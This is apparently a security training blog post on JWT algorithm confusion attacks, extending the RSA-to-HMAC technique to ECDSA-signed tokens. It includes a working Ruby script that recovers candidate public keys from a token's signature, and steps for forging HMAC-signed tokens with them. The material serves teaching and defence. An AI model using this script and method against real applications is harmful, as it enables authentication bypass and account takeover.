JSON Web Tokens (JWT) are widely used for authentication in modern applications. As their use increases, so does the importance of understanding common attacks against them, such as algorithm confusion attacks. For a long time, it was believed that exploiting this vulnerability required access to the public key. However, this changed when Bálint Varga-Perke published a blog post that altered the way most people thought about this attack. In this post, we will discuss how the same attack can be performed when the application uses ECDSA.
Algorithm confusion attacks take advantage of the flexibility of JWT’s design, which allows for multiple signing algorithms. Attackers can exploit this by altering the algorithm in the JWT header to a different one and then forge a valid signature.
PentesterLab offers a hands-on challenge that teaches you how to exploit this issue. Check it out here: https://pentesterlab.com/exercises/jwt-ii
Previously, it was believed that to exploit this vulnerability, access to the public key was necessary. However, Bálint’s blog post (https://blog.silentsignal.eu/2021/02/08/abusing-jwt-public-keys-without-the-public-key/) demonstrated that it is possible to recover the RSA public key using just a few signatures. With this knowledge, attackers can then sign tokens using HMAC.
PentesterLab provides a hands-on challenge that teaches you how to exploit this issue. Check it out here: https://pentesterlab.com/exercises/jwt-xiii
While a lot has been covered on algorithm confusion to go from RSA to HMAC, there has been little public discussion on how to perform the same attack when the application uses ECDSA.
For those familiar with ECDSA or Blockchain technologies, it is known that going from a signature to (two) potential public keys is a trivial process. This opens the door for algorithm confusion attacks against JWT when ECDSA is used without having access to the public key. By leveraging the easily derived public keys, attackers can manipulate the JWT header and signature to exploit this vulnerability.
The following code illustrates the recovery of the public key from a JWT token signed using ECDSA:
require 'ecdsa'
require 'digest/sha2'
require 'openssl'
require 'base64'
# gem install ecdsa
# to get it working
# We take the token from the command line
token = ARGV[0]
# We use Secp256r1
group = ECDSA::Group::Secp256r1
# We split the token to get the data to digest and the signature
parts = token.split('.')
data=parts[0]+"."+parts[1]
signature_b64 = parts[2]
# we compute the
digest = Digest::SHA2.digest(data)
# we create an ECDSA::Signature from the JWT signature
signature_bytes = Base64.urlsafe_decode64(signature_b64)
r = ECDSA::Format::IntegerOctetString.decode signature_bytes[0..31]
s = ECDSA::Format::IntegerOctetString.decode signature_bytes[32..-1]
signature = ECDSA::Signature.new(r,s)
# We recover all the potential keys in an array
keys = ECDSA.recover_public_key(group, digest, signature).to_a
# Finally, we use OpenSSL to get the keys in a pem format.
group = OpenSSL::PKey::EC::Group.new('prime256v1')
ec_key = OpenSSL::PKey::EC.new(group)
keys.each do |point|
ec_point = OpenSSL::PKey::EC::Point.new(group, ECDSA::Format::PointOctetString.encode(point))
if OpenSSL::VERSION =~ /\A3\./
asn1 = OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::ObjectId("id-ecPublicKey"),
OpenSSL::ASN1::ObjectId('prime256v1')
]),
OpenSSL::ASN1::BitString(ec_point.to_octet_string(:uncompressed))
])
ec_key = OpenSSL::PKey::EC.new(asn1.to_der)
else
ec_key.public_key = ec_point
end
puts ec_key.to_pem
end
Finally, as an attacker, you can sign the JWT using HMAC with the keys in the output of this script, then test each signature to determine which one allows you to forge tokens.
As before, PentesterLab provides a hands-on challenge that teaches you how to exploit this issue. Check it out here: https://pentesterlab.com/exercises/jwt-xiv
As the use of JWT continues to grow, understanding the potential vulnerabilities and attack vectors is crucial for developers and security professionals. Algorithm confusion attacks are a significant threat, and as demonstrated by Bálint’s research and this blog, they can be exploited even without access to the public key.